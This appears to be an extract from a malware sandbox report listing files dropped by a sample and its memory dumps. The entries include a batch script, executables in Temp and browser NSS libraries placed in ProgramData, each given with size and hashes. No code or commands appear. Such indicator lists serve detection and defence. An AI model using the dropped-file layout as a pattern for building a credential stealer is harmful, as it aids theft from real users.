C:\Users\Admin\AppData\Local\Temp\nsd21C4.tmp\lood.bat

Filesize
556B

MD5
1d5830e49fb8ad21e3c1e3333b819e7f

SHA1
ee70e4b9c36d0bbcefce139bac51abadbd985197

SHA256
8e71a833717ce5a0b8d882724613ad0be188c85060705b0c1d40abcd9bd4bd80

SHA512
1b3bb316fec3e7da52725f730af59b1780d1754d69f107e424a606764b816e8d4e2f6ebbdb835ef175fe9f56b7add19c21a13493ade7b1de82c8844112462cbb

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
c02a2050ac041c09cc02797567dd4708

SHA1
7b15d0c382c4ac6835b938b383a550dfbe6abc24

SHA256
daa7f737e178a590166583e15955881716572cf7f450fd2aa5b1faf1f327f6bb

SHA512
b4af3ebf3664ec893e9e8bd9205aeb5af887d8fa5c4528eab0db6f4303ad4f7c67c70fd9980ef57f72e2adbd08eea314a51ee9addf8bea6e2b55cbf63f41dce8

Download Submit
\ProgramData\mozglue.dll

Filesize
593KB

MD5
c8fd9be83bc728cc04beffafc2907fe9

SHA1
95ab9f701e0024cedfbd312bcfe4e726744c4f2e

SHA256
ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

SHA512
fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

Download Submit
\ProgramData\nss3.dll

Filesize
2.0MB

MD5
1cc453cdf74f31e4d913ff9c10acdde2

SHA1
6e85eae544d6e965f15fa5c39700fa7202f3aafe

SHA256
ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

SHA512
dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

Download Submit
\Users\Admin\AppData\Local\Temp\i1.exe

Filesize
423KB

MD5
5b82c33ae65525d14793909ec833f42f

SHA1
37d51bb30d2351213f492fb6622a627230f6b4b3

SHA256
6f5fa0aa57d4db23a970f02f8880ce42550cbe5b6f9122122547c7324d3ef2ef

SHA512
7822af9ec5be6d0be42726d67372de8295e4b9b1b2e069d43552b7d1f698b8a6dd72393294fe99709d7fc9a30389b1cf735fbb41a7c7ee1b4a5a58b25b7d7099

Download Submit
\Users\Admin\AppData\Local\Temp\nsd21C4.tmp\INetC.dll

Filesize
25KB

MD5
40d7eca32b2f4d29db98715dd45bfac5

SHA1
124df3f617f562e46095776454e1c0c7bb791cc7

SHA256
85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9

SHA512
5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

Download Submit
\Users\Admin\AppData\Local\Temp\u1r8.0.exe

Filesize
282KB

MD5
f72e01dfb65e6409cb0fc611e466e9d5

SHA1
e3d9f9d5e531ea1537bbecbf8064c5772a3c4a26

SHA256
7eec5c68ccc964cae08684c73b65a0427623454286b253b4ee4453dc1aa93bbf

SHA512
7f47b5e7d997d923ca3d2a481bd8754b01c444c3be284b01e8577e58632bf1b69db87927e57079999e9ffc4dc1d50c45b68a5ce3b4ad58bdcf55d48acb9a87c1

Download Submit
\Users\Admin\AppData\Local\Temp\u1r8.1.exe

Filesize
4.6MB

MD5
397926927bca55be4a77839b1c44de6e

SHA1
e10f3434ef3021c399dbba047832f02b3c898dbd

SHA256
4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

SHA512
cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

Download Submit
memory/764-278-0x0000000000400000-0x00000000008AD000-memory.dmp

Filesize
4.7MB

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memory/1252-162-0x0000000002D90000-0x0000000002DD0000-memory.dmp

Filesize
256KB

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memory/1756-342-0x0000000000400000-0x0000000001A10000-memory.dmp

Filesize
22.1MB

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memory/1756-340-0x0000000000400000-0x0000000001A10000-memory.dmp

Filesize
22.1MB

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memory/1756-275-0x0000000000400000-0x0000000001A10000-memory.dmp

Filesize
22.1MB

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memory/1756-215-0x0000000061E00000-0x0000000061EF3000-memory.dmp

Filesize
972KB

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memory/1756-326-0x0000000000400000-0x0000000001A10000-memory.dmp

Filesize
22.1MB

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memory/2276-210-0x0000000000400000-0x0000000001A34000-memory.dmp

Filesize
22.2MB

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memory/2620-282-0x000000001DEF0000-0x000000001DEFC000-memory.dmp

Filesize
48KB

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memory/2620-287-0x000000001EA40000-0x000000001EA6A000-memory.dmp

Filesize
168KB

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memory/2620-288-0x000000001F820000-0x000000001F8D2000-memory.dmp

Filesize
712KB

Download
memory/2620-289-0x0000000003CB0000-0x0000000003CBA000-memory.dmp

Filesize
40KB

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memory/2620-293-0x0000000020040000-0x0000000020340000-memory.dmp

Filesize
3.0MB

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memory/2620-295-0x0000000003CD0000-0x0000000003CDA000-memory.dmp

Filesize
40KB

Download
memory/2620-298-0x0000000005810000-0x0000000005832000-memory.dmp

Filesize
136KB

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memory/2620-297-0x000000001F8D0000-0x000000001F932000-memory.dmp

Filesize
392KB

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memory/2620-296-0x0000000005800000-0x000000000580A000-memory.dmp

Filesize
40KB

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memory/2620-301-0x0000000005830000-0x000000000583C000-memory.dmp

Filesize
48KB

Download
memory/2620-286-0x000000001E910000-0x000000001E91A000-memory.dmp

Filesize
40KB

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memory/2620-284-0x000000001E8E0000-0x000000001E904000-memory.dmp

Filesize
144KB

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memory/2620-283-0x000000001DEE0000-0x000000001DEF4000-memory.dmp

Filesize
80KB

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memory/2620-281-0x0000000005A20000-0x0000000005A30000-memory.dmp

Filesize
64KB

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memory/2620-280-0x000000001EEF0000-0x000000001EFFA000-memory.dmp

Filesize
1.0MB

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memory/2620-279-0x0000000000090000-0x00000000038C4000-memory.dmp

Filesize
56.2MB

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